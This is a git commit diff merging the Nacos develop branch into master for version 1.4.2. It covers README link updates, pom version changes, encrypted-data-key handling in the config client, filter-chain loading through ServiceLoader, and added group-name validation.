Merge pull request #5532 from alibaba/develop
Merge develop to master, upgrade version to 1.4.2
This commit is contained in:
commit
11be620808
1
.gitignore
vendored
1
.gitignore
vendored
@ -16,3 +16,4 @@ work
|
||||
test/logs
|
||||
derby.log
|
||||
yarn.lock
|
||||
.flattened-pom.xml
|
||||
|
10
README.md
10
README.md
@ -10,7 +10,7 @@
|
||||
|
||||
## What does it do
|
||||
|
||||
Nacos (official site: [http://nacos.io](http://nacos.io)) is an easy-to-use platform designed for dynamic service discovery and configuration and service management. It helps you to build cloud native applications and microservices platform easily.
|
||||
Nacos (official site: [nacos.io](https://nacos.io)) is an easy-to-use platform designed for dynamic service discovery and configuration and service management. It helps you to build cloud native applications and microservices platform easily.
|
||||
|
||||
Service is a first-class citizen in Nacos. Nacos supports almost all type of services,for example,[Dubbo/gRPC service](https://nacos.io/en-us/docs/use-nacos-with-dubbo.html), [Spring Cloud RESTFul service](https://nacos.io/en-us/docs/use-nacos-with-springcloud.html) or [Kubernetes service](https://nacos.io/en-us/docs/use-nacos-with-kubernetes.html).
|
||||
|
||||
@ -55,7 +55,7 @@ sh startup.sh -m standalone
|
||||
|
||||
On the **Windows** platform, run the following command to start server with standalone mode. Alternatively, you can also double-click the `startup.cmd` to run NacosServer.
|
||||
```
|
||||
cmd startup.cmd -m standalone
|
||||
startup.cmd -m standalone
|
||||
```
|
||||
|
||||
For more details, see [quick-start.](https://nacos.io/en-us/docs/quick-start.html)
|
||||
@ -113,8 +113,8 @@ These are only part of the companies using Nacos, for reference only. If you are
|
||||
|
||||
![Alibaba Group](https://docs.alibabagroup.com/assets2/images/en/global/logo_header.png)
|
||||
![虎牙直播](https://a.msstatic.com/huya/main/img/logo.png)
|
||||
![ICBC](http://v.icbc.com.cn/userfiles/Resources/ICBC/shouye/images/2017/logo.png)
|
||||
![爱奇艺](http://www.iqiyipic.com/common/fix/site-v4/sprite-headLogo-index.png)
|
||||
![ICBC](https://v.icbc.com.cn/userfiles/Resources/ICBC/shouye/images/2017/logo.png)
|
||||
![爱奇艺](https://www.iqiyipic.com/common/fix/site-v4/sprite-headLogo-index.png)
|
||||
![平安科技](https://img.alicdn.com/tfs/TB1pwi9EwHqK1RjSZJnXXbNLpXa-479-59.png)
|
||||
![华夏信财](https://img.alicdn.com/tfs/TB1MZWSEzDpK1RjSZFrXXa78VXa-269-69.png)
|
||||
![优客工场](https://www.urwork.cn/public/images/ui/logo.png)
|
||||
@ -130,7 +130,7 @@ These are only part of the companies using Nacos, for reference only. If you are
|
||||
![集萃智能](http://www.iimt.org.cn/pic/logosy.png)
|
||||
![Acmedcare+](https://img.alicdn.com/tfs/TB1DZWSEzDpK1RjSZFrXXa78VXa-240-62.png)
|
||||
![吾享](https://w.wuuxiang.com/theme/images/common/logo1.png)
|
||||
![北京天合互联信息有限公司](http://14605854.s21i.faiusr.com/4/ABUIABAEGAAg4OvkzwUo8b-qlwUwxQ449gM!300x300.png)
|
||||
![北京天合互联信息有限公司](https://14605854.s21i.faiusr.com/4/ABUIABAEGAAg4OvkzwUo8b-qlwUwxQ449gM!300x300.png)
|
||||
![上海密尔克卫化工](http://www.mwclg.com/static-resource/front/images/home/img_logo_nav.png)
|
||||
![大连新唯](https://www.synwe.com/logo-full.png)
|
||||
![立思辰](https://user-images.githubusercontent.com/10215557/51593180-7563af00-1f2c-11e9-95b1-ec2c645d6a0b.png)
|
||||
|
@ -19,7 +19,7 @@
|
||||
<parent>
|
||||
<artifactId>nacos-all</artifactId>
|
||||
<groupId>com.alibaba.nacos</groupId>
|
||||
<version>1.4.1</version>
|
||||
<version>${revision}</version>
|
||||
</parent>
|
||||
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
|
@ -19,7 +19,7 @@
|
||||
<parent>
|
||||
<groupId>com.alibaba.nacos</groupId>
|
||||
<artifactId>nacos-all</artifactId>
|
||||
<version>1.4.1</version>
|
||||
<version>${revision}</version>
|
||||
</parent>
|
||||
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
|
@ -64,11 +64,13 @@ public class PropertyKeyConst {
|
||||
public static final String NAMING_CLIENT_BEAT_THREAD_COUNT = "namingClientBeatThreadCount";
|
||||
|
||||
public static final String NAMING_POLLING_THREAD_COUNT = "namingPollingThreadCount";
|
||||
|
||||
|
||||
public static final String NAMING_REQUEST_DOMAIN_RETRY_COUNT = "namingRequestDomainMaxRetryCount";
|
||||
|
||||
public static final String NAMING_PUSH_EMPTY_PROTECTION = "namingPushEmptyProtection";
|
||||
|
||||
|
||||
public static final String PUSH_RECEIVER_UDP_PORT = "push.receiver.udp.port";
|
||||
|
||||
/**
|
||||
* Get the key value of some variable value from the system property.
|
||||
*/
|
||||
|
@ -65,6 +65,8 @@ public class Constants {
|
||||
|
||||
public static final String CONFIG_TYPE = "Config-Type";
|
||||
|
||||
public static final String ENCRYPTED_DATA_KEY = "Encrypted-Data-Key";
|
||||
|
||||
public static final String IF_MODIFIED_SINCE = "If-Modified-Since";
|
||||
|
||||
public static final String SPACING_INTERVAL = "client-spacing-interval";
|
||||
@ -158,7 +160,7 @@ public class Constants {
|
||||
|
||||
public static final int NAMING_INSTANCE_ID_SEG_COUNT = 4;
|
||||
|
||||
public static final String NAMING_HTTP_HEADER_SPILIER = "\\|";
|
||||
public static final String NAMING_HTTP_HEADER_SPLITTER = "\\|";
|
||||
|
||||
public static final String DEFAULT_CLUSTER_NAME = "DEFAULT";
|
||||
|
||||
@ -176,6 +178,8 @@ public class Constants {
|
||||
|
||||
public static final String SERVICE_INFO_SPLITER = "@@";
|
||||
|
||||
public static final int SERVICE_INFO_SPLIT_COUNT = 2;
|
||||
|
||||
public static final String NULL_STRING = "null";
|
||||
|
||||
public static final String NUMBER_PATTERN = "^\\d+$";
|
||||
|
@ -58,7 +58,7 @@ public interface ConfigService {
|
||||
/**
|
||||
* Add a listener to the configuration, after the server modified the configuration, the client will use the
|
||||
* incoming listener callback. Recommended asynchronous processing, the application can implement the getExecutor
|
||||
* method in the ManagerListener, provide a thread pool of execution. If provided, use the main thread callback, May
|
||||
* method in the ManagerListener, provide a thread pool of execution. If not provided, use the main thread callback, May
|
||||
* block other configurations or be blocked by other configurations.
|
||||
*
|
||||
* @param dataId dataId
|
||||
|
@ -18,6 +18,9 @@ package com.alibaba.nacos.api.config;
|
||||
|
||||
import com.alibaba.nacos.api.utils.StringUtils;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Config data type.
|
||||
*
|
||||
@ -60,7 +63,15 @@ public enum ConfigType {
|
||||
*/
|
||||
UNSET("unset");
|
||||
|
||||
String type;
|
||||
private final String type;
|
||||
|
||||
private static final Map<String, ConfigType> LOCAL_MAP = new HashMap<String, ConfigType>();
|
||||
|
||||
static {
|
||||
for (ConfigType configType : values()) {
|
||||
LOCAL_MAP.put(configType.getType(), configType);
|
||||
}
|
||||
}
|
||||
|
||||
ConfigType(String type) {
|
||||
this.type = type;
|
||||
@ -84,11 +95,6 @@ public enum ConfigType {
|
||||
if (StringUtils.isBlank(type)) {
|
||||
return false;
|
||||
}
|
||||
for (ConfigType value : values()) {
|
||||
if (value.type.equals(type)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
return null != LOCAL_MAP.get(type) ? true : false;
|
||||
}
|
||||
}
|
||||
|
@ -34,7 +34,7 @@ public interface NacosConfigConverter<T> {
|
||||
boolean canConvert(Class<T> targetType);
|
||||
|
||||
/**
|
||||
* convert the Naocs's config of type S to target type T.
|
||||
* Convert the Nacos' config of type S to target type T.
|
||||
*
|
||||
* @param config the Naocs's config to convert, which must be an instance of S (never {@code null})
|
||||
* @return the converted object, which must be an instance of T (potentially {@code null})
|
||||
|
@ -0,0 +1,34 @@
|
||||
/*
|
||||
* Copyright 1999-2018 Alibaba Group Holding Ltd.
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package com.alibaba.nacos.api.config.filter;
|
||||
|
||||
/**
|
||||
* Config Filter Interface default implementation.
|
||||
*
|
||||
* @author luyanbo(RobberPhex)
|
||||
*/
|
||||
public abstract class AbstractConfigFilter implements IConfigFilter {
|
||||
|
||||
/**
|
||||
* init.
|
||||
*
|
||||
* @param filterConfig Filter Config
|
||||
*/
|
||||
@Override
|
||||
public void init(IFilterConfig filterConfig) {
|
||||
}
|
||||
}
|
@ -18,10 +18,15 @@ package com.alibaba.nacos.api.config.filter;
|
||||
|
||||
import com.alibaba.nacos.api.exception.NacosException;
|
||||
|
||||
import java.util.Properties;
|
||||
|
||||
/**
|
||||
* Config Filter Interface.
|
||||
*
|
||||
* <p>DO NOT implement this interface directly, you should extend <code>AbstractConfigFilter</code>.
|
||||
*
|
||||
* @author Nacos
|
||||
* @see AbstractConfigFilter
|
||||
*/
|
||||
public interface IConfigFilter {
|
||||
|
||||
@ -30,8 +35,16 @@ public interface IConfigFilter {
|
||||
*
|
||||
* @param filterConfig Filter Config
|
||||
*/
|
||||
@Deprecated
|
||||
void init(IFilterConfig filterConfig);
|
||||
|
||||
/**
|
||||
* Init.
|
||||
*
|
||||
* @param properties Filter Config
|
||||
*/
|
||||
void init(Properties properties);
|
||||
|
||||
/**
|
||||
* do filter.
|
||||
*
|
||||
@ -43,11 +56,6 @@ public interface IConfigFilter {
|
||||
void doFilter(IConfigRequest request, IConfigResponse response, IConfigFilterChain filterChain)
|
||||
throws NacosException;
|
||||
|
||||
/**
|
||||
* deploy.
|
||||
*/
|
||||
void deploy();
|
||||
|
||||
/**
|
||||
* Get order.
|
||||
*
|
||||
|
@ -23,6 +23,14 @@ package com.alibaba.nacos.api.config.filter;
|
||||
*/
|
||||
public interface IConfigRequest {
|
||||
|
||||
/**
|
||||
* put param.
|
||||
*
|
||||
* @param key key
|
||||
* @param value value
|
||||
*/
|
||||
void putParameter(String key, Object value);
|
||||
|
||||
/**
|
||||
* get param.
|
||||
*
|
||||
|
@ -31,6 +31,14 @@ public interface IConfigResponse {
|
||||
*/
|
||||
Object getParameter(String key);
|
||||
|
||||
/**
|
||||
* put param.
|
||||
*
|
||||
* @param key key
|
||||
* @param value value
|
||||
*/
|
||||
void putParameter(String key, Object value);
|
||||
|
||||
/**
|
||||
* Get config context.
|
||||
*
|
||||
|
@ -21,6 +21,7 @@ package com.alibaba.nacos.api.config.filter;
|
||||
*
|
||||
* @author Nacos
|
||||
*/
|
||||
@Deprecated
|
||||
public interface IFilterConfig {
|
||||
|
||||
/**
|
||||
|
@ -75,7 +75,7 @@ public class Http extends AbstractHealthChecker {
|
||||
return Collections.emptyMap();
|
||||
}
|
||||
final Map<String, String> headerMap = new HashMap<String, String>(16);
|
||||
for (final String s : headers.split(Constants.NAMING_HTTP_HEADER_SPILIER)) {
|
||||
for (final String s : headers.split(Constants.NAMING_HTTP_HEADER_SPLITTER)) {
|
||||
final String[] splits = s.split(":");
|
||||
if (splits.length != 2) {
|
||||
continue;
|
||||
|
@ -46,6 +46,9 @@ public class NamingUtils {
|
||||
if (StringUtils.isBlank(serviceName)) {
|
||||
throw new IllegalArgumentException("Param 'serviceName' is illegal, serviceName is blank");
|
||||
}
|
||||
if (StringUtils.isBlank(groupName)) {
|
||||
throw new IllegalArgumentException("Param 'groupName' is illegal, groupName is blank");
|
||||
}
|
||||
final String resultGroupedName = groupName + Constants.SERVICE_INFO_SPLITER + serviceName;
|
||||
return resultGroupedName.intern();
|
||||
}
|
||||
@ -75,7 +78,7 @@ public class NamingUtils {
|
||||
* <pre>
|
||||
* serviceName = "@@"; the length = 0; illegal
|
||||
* serviceName = "group@@"; the length = 1; illegal
|
||||
* serviceName = "@@serviceName"; the length = 2; legal
|
||||
* serviceName = "@@serviceName"; the length = 2; illegal
|
||||
* serviceName = "group@@serviceName"; the length = 2; legal
|
||||
* </pre>
|
||||
*
|
||||
@ -87,6 +90,9 @@ public class NamingUtils {
|
||||
throw new IllegalArgumentException(
|
||||
"Param 'serviceName' is illegal, it should be format as 'groupName@@serviceName'");
|
||||
}
|
||||
if (split[0].isEmpty()) {
|
||||
throw new IllegalArgumentException("Param 'serviceName' is illegal, groupName can't be empty");
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
|
@ -21,7 +21,7 @@
|
||||
<parent>
|
||||
<groupId>com.alibaba.nacos</groupId>
|
||||
<artifactId>nacos-all</artifactId>
|
||||
<version>1.4.1</version>
|
||||
<version>${revision}</version>
|
||||
<relativePath>../pom.xml</relativePath>
|
||||
</parent>
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
|
@ -19,7 +19,7 @@
|
||||
<parent>
|
||||
<groupId>com.alibaba.nacos</groupId>
|
||||
<artifactId>nacos-all</artifactId>
|
||||
<version>1.4.1</version>
|
||||
<version>${revision}</version>
|
||||
<relativePath>../pom.xml</relativePath>
|
||||
</parent>
|
||||
|
||||
|
@ -30,6 +30,7 @@ import com.alibaba.nacos.client.config.http.MetricsHttpAgent;
|
||||
import com.alibaba.nacos.client.config.http.ServerHttpAgent;
|
||||
import com.alibaba.nacos.client.config.impl.ClientWorker;
|
||||
import com.alibaba.nacos.client.config.impl.LocalConfigInfoProcessor;
|
||||
import com.alibaba.nacos.client.config.impl.LocalEncryptedDataKeyProcessor;
|
||||
import com.alibaba.nacos.client.config.utils.ContentUtils;
|
||||
import com.alibaba.nacos.client.config.utils.ParamUtils;
|
||||
import com.alibaba.nacos.client.utils.LogUtils;
|
||||
@ -71,7 +72,7 @@ public class NacosConfigService implements ConfigService {
|
||||
|
||||
private final String encode;
|
||||
|
||||
private final ConfigFilterChainManager configFilterChainManager = new ConfigFilterChainManager();
|
||||
private final ConfigFilterChainManager configFilterChainManager;
|
||||
|
||||
public NacosConfigService(Properties properties) throws NacosException {
|
||||
ValidatorUtils.checkInitParam(properties);
|
||||
@ -82,6 +83,7 @@ public class NacosConfigService implements ConfigService {
|
||||
this.encode = encodeTmp.trim();
|
||||
}
|
||||
initNamespace(properties);
|
||||
this.configFilterChainManager = new ConfigFilterChainManager(properties);
|
||||
|
||||
this.agent = new MetricsHttpAgent(new ServerHttpAgent(properties));
|
||||
this.agent.start();
|
||||
@ -132,7 +134,7 @@ public class NacosConfigService implements ConfigService {
|
||||
}
|
||||
|
||||
private String getConfigInner(String tenant, String dataId, String group, long timeoutMs) throws NacosException {
|
||||
group = null2defaultGroup(group);
|
||||
group = blank2defaultGroup(group);
|
||||
ParamUtils.checkKeyParam(dataId, group);
|
||||
ConfigResponse cr = new ConfigResponse();
|
||||
|
||||
@ -146,14 +148,18 @@ public class NacosConfigService implements ConfigService {
|
||||
LOGGER.warn("[{}] [get-config] get failover ok, dataId={}, group={}, tenant={}, config={}", agent.getName(),
|
||||
dataId, group, tenant, ContentUtils.truncateContent(content));
|
||||
cr.setContent(content);
|
||||
String encryptedDataKey = LocalEncryptedDataKeyProcessor
|
||||
.getEncryptDataKeyFailover(agent.getName(), dataId, group, tenant);
|
||||
cr.setEncryptedDataKey(encryptedDataKey);
|
||||
configFilterChainManager.doFilter(null, cr);
|
||||
content = cr.getContent();
|
||||
return content;
|
||||
}
|
||||
|
||||
try {
|
||||
String[] ct = worker.getServerConfig(dataId, group, tenant, timeoutMs);
|
||||
cr.setContent(ct[0]);
|
||||
ConfigResponse response = worker.getServerConfig(dataId, group, tenant, timeoutMs);
|
||||
cr.setContent(response.getContent());
|
||||
cr.setEncryptedDataKey(response.getEncryptedDataKey());
|
||||
|
||||
configFilterChainManager.doFilter(null, cr);
|
||||
content = cr.getContent();
|
||||
@ -171,17 +177,20 @@ public class NacosConfigService implements ConfigService {
|
||||
dataId, group, tenant, ContentUtils.truncateContent(content));
|
||||
content = LocalConfigInfoProcessor.getSnapshot(agent.getName(), dataId, group, tenant);
|
||||
cr.setContent(content);
|
||||
String encryptedDataKey = LocalEncryptedDataKeyProcessor
|
||||
.getEncryptDataKeyFailover(agent.getName(), dataId, group, tenant);
|
||||
cr.setEncryptedDataKey(encryptedDataKey);
|
||||
configFilterChainManager.doFilter(null, cr);
|
||||
content = cr.getContent();
|
||||
return content;
|
||||
}
|
||||
|
||||
private String null2defaultGroup(String group) {
|
||||
return (null == group) ? Constants.DEFAULT_GROUP : group.trim();
|
||||
private String blank2defaultGroup(String group) {
|
||||
return (StringUtils.isBlank(group)) ? Constants.DEFAULT_GROUP : group.trim();
|
||||
}
|
||||
|
||||
private boolean removeConfigInner(String tenant, String dataId, String group, String tag) throws NacosException {
|
||||
group = null2defaultGroup(group);
|
||||
group = blank2defaultGroup(group);
|
||||
ParamUtils.checkKeyParam(dataId, group);
|
||||
String url = Constants.CONFIG_CONTROLLER_PATH;
|
||||
Map<String, String> params = new HashMap<String, String>(4);
|
||||
@ -218,7 +227,7 @@ public class NacosConfigService implements ConfigService {
|
||||
|
||||
private boolean publishConfigInner(String tenant, String dataId, String group, String tag, String appName,
|
||||
String betaIps, String content, String type) throws NacosException {
|
||||
group = null2defaultGroup(group);
|
||||
group = blank2defaultGroup(group);
|
||||
ParamUtils.checkParam(dataId, group, content);
|
||||
|
||||
ConfigRequest cr = new ConfigRequest();
|
||||
@ -244,6 +253,10 @@ public class NacosConfigService implements ConfigService {
|
||||
if (StringUtils.isNotEmpty(tag)) {
|
||||
params.put("tag", tag);
|
||||
}
|
||||
String dataKey = (String) cr.getParameter("encryptedDataKey");
|
||||
if (StringUtils.isNotEmpty(dataKey)) {
|
||||
params.put("encryptedDataKey", dataKey);
|
||||
}
|
||||
Map<String, String> headers = new HashMap<String, String>(1);
|
||||
if (StringUtils.isNotEmpty(betaIps)) {
|
||||
headers.put("betaIps", betaIps);
|
||||
|
@ -38,6 +38,12 @@ public class GroupKey {
|
||||
}
|
||||
|
||||
private static String doGetKey(String dataId, String group, String datumStr) {
|
||||
if (StringUtils.isBlank(dataId)) {
|
||||
throw new IllegalArgumentException("invalid dataId");
|
||||
}
|
||||
if (StringUtils.isBlank(group)) {
|
||||
throw new IllegalArgumentException("invalid group");
|
||||
}
|
||||
StringBuilder sb = new StringBuilder();
|
||||
urlEncode(dataId, sb);
|
||||
sb.append('+');
|
||||
@ -89,18 +95,18 @@ public class GroupKey {
|
||||
}
|
||||
}
|
||||
|
||||
if (StringUtils.isBlank(group)) {
|
||||
if (group == null) {
|
||||
group = sb.toString();
|
||||
if (group.length() == 0) {
|
||||
throw new IllegalArgumentException("invalid groupkey:" + groupKey);
|
||||
}
|
||||
} else {
|
||||
tenant = sb.toString();
|
||||
if (group.length() == 0) {
|
||||
throw new IllegalArgumentException("invalid groupkey:" + groupKey);
|
||||
}
|
||||
}
|
||||
|
||||
if (StringUtils.isBlank(dataId)) {
|
||||
throw new IllegalArgumentException("invalid dataId");
|
||||
}
|
||||
if (StringUtils.isBlank(group)) {
|
||||
throw new IllegalArgumentException("invalid group");
|
||||
}
|
||||
return new String[] {dataId, group, tenant};
|
||||
}
|
||||
|
||||
|
@ -24,6 +24,8 @@ import com.alibaba.nacos.api.exception.NacosException;
|
||||
import com.google.common.collect.Lists;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Properties;
|
||||
import java.util.ServiceLoader;
|
||||
|
||||
/**
|
||||
* Config Filter Chain Management.
|
||||
@ -34,6 +36,14 @@ public class ConfigFilterChainManager implements IConfigFilterChain {
|
||||
|
||||
private final List<IConfigFilter> filters = Lists.newArrayList();
|
||||
|
||||
public ConfigFilterChainManager(Properties properties) {
|
||||
ServiceLoader<IConfigFilter> configFilters = ServiceLoader.load(IConfigFilter.class);
|
||||
for (IConfigFilter configFilter : configFilters) {
|
||||
configFilter.init(properties);
|
||||
addFilter(configFilter);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add filter.
|
||||
*
|
||||
|
@ -65,6 +65,11 @@ public class ConfigRequest implements IConfigRequest {
|
||||
param.put("content", content);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void putParameter(String key, Object value) {
|
||||
param.put(key, value);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getParameter(String key) {
|
||||
return param.get(key);
|
||||
|
@ -65,11 +65,32 @@ public class ConfigResponse implements IConfigResponse {
|
||||
param.put("content", content);
|
||||
}
|
||||
|
||||
public String getConfigType() {
|
||||
return (String) param.get("configType");
|
||||
}
|
||||
|
||||
public void setConfigType(String configType) {
|
||||
param.put("configType", configType);
|
||||
}
|
||||
|
||||
public String getEncryptedDataKey() {
|
||||
return (String) param.get("encryptedDataKey");
|
||||
}
|
||||
|
||||
public void setEncryptedDataKey(String encryptedDataKey) {
|
||||
param.put("encryptedDataKey", encryptedDataKey);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getParameter(String key) {
|
||||
return param.get(key);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void putParameter(String key, Object value) {
|
||||
param.put(key, value);
|
||||
}
|
||||
|
||||
@Override
|
||||
public IConfigContext getConfigContext() {
|
||||
return configContext;
|
||||
|
@ -53,7 +53,6 @@ public class MetricsHttpAgent implements HttpAgent {
|
||||
throw e;
|
||||
} finally {
|
||||
timer.observeDuration();
|
||||
timer.close();
|
||||
}
|
||||
|
||||
return result;
|
||||
@ -70,7 +69,6 @@ public class MetricsHttpAgent implements HttpAgent {
|
||||
throw e;
|
||||
} finally {
|
||||
timer.observeDuration();
|
||||
timer.close();
|
||||
}
|
||||
|
||||
return result;
|
||||
@ -84,11 +82,9 @@ public class MetricsHttpAgent implements HttpAgent {
|
||||
try {
|
||||
result = httpAgent.httpDelete(path, headers, paramValues, encode, readTimeoutMs);
|
||||
} catch (IOException e) {
|
||||
|
||||
throw e;
|
||||
} finally {
|
||||
timer.observeDuration();
|
||||
timer.close();
|
||||
}
|
||||
|
||||
return result;
|
||||
|
@ -25,7 +25,6 @@ import com.alibaba.nacos.client.config.filter.impl.ConfigFilterChainManager;
|
||||
import com.alibaba.nacos.client.config.filter.impl.ConfigResponse;
|
||||
import com.alibaba.nacos.client.config.listener.impl.AbstractConfigChangeListener;
|
||||
import com.alibaba.nacos.client.utils.LogUtils;
|
||||
import com.alibaba.nacos.client.utils.TenantUtil;
|
||||
import com.alibaba.nacos.common.utils.MD5Utils;
|
||||
import org.slf4j.Logger;
|
||||
|
||||
@ -178,13 +177,13 @@ public class CacheData {
|
||||
void checkListenerMd5() {
|
||||
for (ManagerListenerWrap wrap : listeners) {
|
||||
if (!md5.equals(wrap.lastCallMd5)) {
|
||||
safeNotifyListener(dataId, group, content, type, md5, wrap);
|
||||
safeNotifyListener(dataId, group, content, type, md5, encryptedDataKey, wrap);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void safeNotifyListener(final String dataId, final String group, final String content, final String type,
|
||||
final String md5, final ManagerListenerWrap listenerWrap) {
|
||||
final String md5, final String encryptedDataKey, final ManagerListenerWrap listenerWrap) {
|
||||
final Listener listener = listenerWrap.listener;
|
||||
|
||||
Runnable job = new Runnable() {
|
||||
@ -205,6 +204,7 @@ public class CacheData {
|
||||
cr.setDataId(dataId);
|
||||
cr.setGroup(group);
|
||||
cr.setContent(content);
|
||||
cr.setEncryptedDataKey(encryptedDataKey);
|
||||
configFilterChainManager.doFilter(null, cr);
|
||||
String contentTmp = cr.getContent();
|
||||
listener.receiveConfigInfo(contentTmp);
|
||||
@ -259,21 +259,6 @@ public class CacheData {
|
||||
return content;
|
||||
}
|
||||
|
||||
public CacheData(ConfigFilterChainManager configFilterChainManager, String name, String dataId, String group) {
|
||||
if (null == dataId || null == group) {
|
||||
throw new IllegalArgumentException("dataId=" + dataId + ", group=" + group);
|
||||
}
|
||||
this.name = name;
|
||||
this.configFilterChainManager = configFilterChainManager;
|
||||
this.dataId = dataId;
|
||||
this.group = group;
|
||||
this.tenant = TenantUtil.getUserTenantForAcm();
|
||||
listeners = new CopyOnWriteArrayList<ManagerListenerWrap>();
|
||||
this.isInitializing = true;
|
||||
this.content = loadCacheContentFromDiskLocal(name, dataId, group, tenant);
|
||||
this.md5 = getMd5String(content);
|
||||
}
|
||||
|
||||
public CacheData(ConfigFilterChainManager configFilterChainManager, String name, String dataId, String group,
|
||||
String tenant) {
|
||||
if (null == dataId || null == group) {
|
||||
@ -288,6 +273,7 @@ public class CacheData {
|
||||
this.isInitializing = true;
|
||||
this.content = loadCacheContentFromDiskLocal(name, dataId, group, tenant);
|
||||
this.md5 = getMd5String(content);
|
||||
this.encryptedDataKey = loadEncryptedDataKeyFromDiskLocal(name, dataId, group, tenant);
|
||||
}
|
||||
|
||||
// ==================
|
||||
@ -318,12 +304,32 @@ public class CacheData {
|
||||
|
||||
private volatile String content;
|
||||
|
||||
private volatile String encryptedDataKey;
|
||||
|
||||
private int taskId;
|
||||
|
||||
private volatile boolean isInitializing = true;
|
||||
|
||||
private String type;
|
||||
|
||||
public String getEncryptedDataKey() {
|
||||
return encryptedDataKey;
|
||||
}
|
||||
|
||||
public void setEncryptedDataKey(String encryptedDataKey) {
|
||||
this.encryptedDataKey = encryptedDataKey;
|
||||
}
|
||||
|
||||
private String loadEncryptedDataKeyFromDiskLocal(String name, String dataId, String group, String tenant) {
|
||||
String encryptedDataKey = LocalEncryptedDataKeyProcessor.getEncryptDataKeyFailover(name, dataId, group, tenant);
|
||||
|
||||
if (encryptedDataKey != null) {
|
||||
return encryptedDataKey;
|
||||
}
|
||||
|
||||
return LocalEncryptedDataKeyProcessor.getEncryptDataKeySnapshot(name, dataId, group, tenant);
|
||||
}
|
||||
|
||||
private static class ManagerListenerWrap {
|
||||
|
||||
final Listener listener;
|
||||
|
@ -23,13 +23,13 @@ import com.alibaba.nacos.api.config.listener.Listener;
|
||||
import com.alibaba.nacos.api.exception.NacosException;
|
||||
import com.alibaba.nacos.client.config.common.GroupKey;
|
||||
import com.alibaba.nacos.client.config.filter.impl.ConfigFilterChainManager;
|
||||
import com.alibaba.nacos.client.config.filter.impl.ConfigResponse;
|
||||
import com.alibaba.nacos.client.config.http.HttpAgent;
|
||||
import com.alibaba.nacos.client.config.utils.ContentUtils;
|
||||
import com.alibaba.nacos.client.monitor.MetricsMonitor;
|
||||
import com.alibaba.nacos.client.naming.utils.CollectionUtils;
|
||||
import com.alibaba.nacos.client.utils.LogUtils;
|
||||
import com.alibaba.nacos.client.utils.ParamUtil;
|
||||
import com.alibaba.nacos.client.utils.TenantUtil;
|
||||
import com.alibaba.nacos.common.http.HttpRestResult;
|
||||
import com.alibaba.nacos.common.lifecycle.Closeable;
|
||||
import com.alibaba.nacos.common.utils.ConvertUtils;
|
||||
@ -56,6 +56,7 @@ import java.util.concurrent.ThreadFactory;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
import static com.alibaba.nacos.api.common.Constants.CONFIG_TYPE;
|
||||
import static com.alibaba.nacos.api.common.Constants.ENCRYPTED_DATA_KEY;
|
||||
import static com.alibaba.nacos.api.common.Constants.LINE_SEPARATOR;
|
||||
import static com.alibaba.nacos.api.common.Constants.WORD_SEPARATOR;
|
||||
|
||||
@ -68,39 +69,6 @@ public class ClientWorker implements Closeable {
|
||||
|
||||
private static final Logger LOGGER = LogUtils.logger(ClientWorker.class);
|
||||
|
||||
/**
|
||||
* Add listeners for data.
|
||||
*
|
||||
* @param dataId dataId of data
|
||||
* @param group group of data
|
||||
* @param listeners listeners
|
||||
*/
|
||||
public void addListeners(String dataId, String group, List<? extends Listener> listeners) {
|
||||
group = null2defaultGroup(group);
|
||||
CacheData cache = addCacheDataIfAbsent(dataId, group);
|
||||
for (Listener listener : listeners) {
|
||||
cache.addListener(listener);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove listener.
|
||||
*
|
||||
* @param dataId dataId of data
|
||||
* @param group group of data
|
||||
* @param listener listener
|
||||
*/
|
||||
public void removeListener(String dataId, String group, Listener listener) {
|
||||
group = null2defaultGroup(group);
|
||||
CacheData cache = getCache(dataId, group);
|
||||
if (null != cache) {
|
||||
cache.removeListener(listener);
|
||||
if (cache.getListeners().isEmpty()) {
|
||||
removeCache(dataId, group);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add listeners for tenant.
|
||||
*
|
||||
@ -111,7 +79,7 @@ public class ClientWorker implements Closeable {
|
||||
*/
|
||||
public void addTenantListeners(String dataId, String group, List<? extends Listener> listeners)
|
||||
throws NacosException {
|
||||
group = null2defaultGroup(group);
|
||||
group = blank2defaultGroup(group);
|
||||
String tenant = agent.getTenant();
|
||||
CacheData cache = addCacheDataIfAbsent(dataId, group, tenant);
|
||||
for (Listener listener : listeners) {
|
||||
@ -130,7 +98,7 @@ public class ClientWorker implements Closeable {
|
||||
*/
|
||||
public void addTenantListenersWithContent(String dataId, String group, String content,
|
||||
List<? extends Listener> listeners) throws NacosException {
|
||||
group = null2defaultGroup(group);
|
||||
group = blank2defaultGroup(group);
|
||||
String tenant = agent.getTenant();
|
||||
CacheData cache = addCacheDataIfAbsent(dataId, group, tenant);
|
||||
cache.setContent(content);
|
||||
@ -147,7 +115,7 @@ public class ClientWorker implements Closeable {
|
||||
* @param listener listener
|
||||
*/
|
||||
public void removeTenantListener(String dataId, String group, Listener listener) {
|
||||
group = null2defaultGroup(group);
|
||||
group = blank2defaultGroup(group);
|
||||
String tenant = agent.getTenant();
|
||||
CacheData cache = getCache(dataId, group, tenant);
|
||||
if (null != cache) {
|
||||
